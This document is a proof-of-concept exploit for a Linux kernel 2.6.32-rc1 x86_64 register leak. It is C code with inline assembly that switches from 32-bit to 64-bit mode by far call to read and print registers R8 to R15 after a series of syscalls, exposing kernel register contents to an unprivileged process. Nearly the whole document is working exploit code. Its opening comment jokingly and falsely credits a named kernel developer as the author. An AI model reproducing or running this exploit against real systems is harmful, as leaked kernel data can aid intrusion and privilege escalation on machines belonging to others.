Linux Kernel 2.6.32-rc1 x86_64 Register Leak

`/* written by Ingo Molnar -- it's true because this comment says the exploit  
was written by him!  
*/  
  
#include <stdio.h>  
#include <sys/syscall.h>  
  
unsigned int _r81;  
unsigned int _r82;  
unsigned int _r91;  
unsigned int _r92;  
unsigned int _r101;  
unsigned int _r102;  
unsigned int _r111;  
unsigned int _r112;  
unsigned int _r121;  
unsigned int _r122;  
unsigned int _r131;  
unsigned int _r132;  
unsigned int _r141;  
unsigned int _r142;  
unsigned int _r151;  
unsigned int _r152;  
  
int leak_it(void)  
{  
asm volatile (  
".intel_syntax noprefix\n"  
".code32\n"  
"jmp label1\n"  
"farcalllabel1:\n"  
".code64\n"  
"mov eax, r8d\n"  
"shr r8, 32\n"  
"mov ebx, r8d\n"  
"mov ecx, r9d\n"  
"shr r9, 32\n"  
"mov edx, r9d\n"  
"mov esi, r10d\n"  
"shr r10, 32\n"  
"mov edi, r10d\n"  
".att_syntax noprefix\n"  
"lret\n"  
".intel_syntax noprefix\n"  
"farcalllabel2:\n"  
"mov eax, r11d\n"  
"shr r11, 32\n"  
"mov ebx, r11d\n"  
"mov ecx, r12d\n"  
"shr r12, 32\n"  
"mov edx, r12d\n"  
"mov esi, r13d\n"  
"shr r13, 32\n"  
"mov edi, r13d\n"  
".att_syntax noprefix\n"  
"lret\n"  
".intel_syntax noprefix\n"  
"farcalllabel3:\n"  
"mov eax, r14d\n"  
"shr r14, 32\n"  
"mov ebx, r14d\n"  
"mov ecx, r15d\n"  
"shr r15, 32\n"  
"mov edx, r15d\n"  
".att_syntax noprefix\n"  
"lret\n"  
".intel_syntax noprefix\n"  
".code32\n"  
"label1:\n"  
".att_syntax noprefix\n"  
"lcall $0x33, $farcalllabel1\n"  
".intel_syntax noprefix\n"  
"mov _r81, eax\n"  
"mov _r82, ebx\n"  
"mov _r91, ecx\n"  
"mov _r92, edx\n"  
"mov _r101, esi\n"  
"mov _r102, edi\n"  
".att_syntax noprefix\n"  
"lcall $0x33, $farcalllabel2\n"  
".intel_syntax noprefix\n"  
"mov _r111, eax\n"  
"mov _r112, ebx\n"  
"mov _r121, ecx\n"  
"mov _r122, edx\n"  
"mov _r131, esi\n"  
"mov _r132, edi\n"  
".att_syntax noprefix\n"  
"lcall $0x33, $farcalllabel3\n"  
".intel_syntax noprefix\n"  
"mov _r141, eax\n"  
"mov _r142, ebx\n"  
"mov _r151, ecx\n"  
"mov _r152, edx\n"  
".att_syntax noprefix\n"  
);  
  
printf(" R8=%08x%08x\n", _r82, _r81);  
printf(" R9=%08x%08x\n", _r92, _r91);  
printf("R10=%08x%08x\n", _r102, _r101);  
printf("R11=%08x%08x\n", _r112, _r111);  
printf("R12=%08x%08x\n", _r122, _r121);  
printf("R13=%08x%08x\n", _r132, _r131);  
printf("R14=%08x%08x\n", _r142, _r141);  
printf("R15=%08x%08x\n", _r152, _r151);  
return 0;  
}  
  
/* ripped from jon oberheide */  
const int randcalls[] = {  
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,  
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,  
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,  
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,  
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,  
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,  
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,  
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,  
__NR_sched_getparam, __NR_sched_get_priority_max  
};  
  
int main(void)  
{  
/* to keep random stack values from being used for pointers in syscalls */  
char buf[64] = {};  
int call;  
for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {  
syscall(randcalls[call]);  
leak_it();  
}  
  
}  
  
`